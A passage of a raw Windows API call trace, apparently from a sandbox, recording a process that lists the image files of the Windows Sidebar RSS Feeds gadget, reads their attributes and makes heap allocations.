ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ef20 [0090.241] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.242] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.242] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.243] NtClose (Handle=0x168) returned 0x0 [0090.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133ef20) returned 1 [0090.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ef20 [0090.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f130 [0090.244] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.246] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.246] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc48435dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0090.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f028 [0090.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3118 [0090.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f658 [0090.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.248] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f4167c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0090.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3138 [0090.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f760 [0090.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5de162, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5de162, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f677dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0090.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3158 [0090.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f868 [0090.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0090.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3178 [0090.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133fe98 [0090.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.253] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0090.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3198 [0090.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ffa0 [0090.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.255] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0090.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f31b8 [0090.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13400a8 [0090.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.257] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4f9928, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4f9928, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0090.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f31d8 [0090.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13401b0 [0090.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.258] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba51fa87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba51fa87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc5d89a7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0090.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f31f8 [0090.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13402b8 [0090.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.260] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba545be6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba545be6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0090.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3218 [0090.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13403c0 [0090.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.262] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0090.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3238 [0090.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13404c8 [0090.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0090.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3258 [0090.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13405d0 [0090.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba62a420, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba62a420, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0090.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3278 [0090.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13406d8 [0090.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69bcb3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0090.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3298 [0090.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13407e0 [0090.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.269] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0090.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f32b8 [0090.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13408e8 [0090.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x92c0) returned 0x132a698 [0090.270] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0090.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f32d8 [0090.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13409f0 [0090.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0090.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f32f8 [0090.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340af8 [0090.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0090.274] GetLastError () returned 0x12 [0090.274] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.274] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, 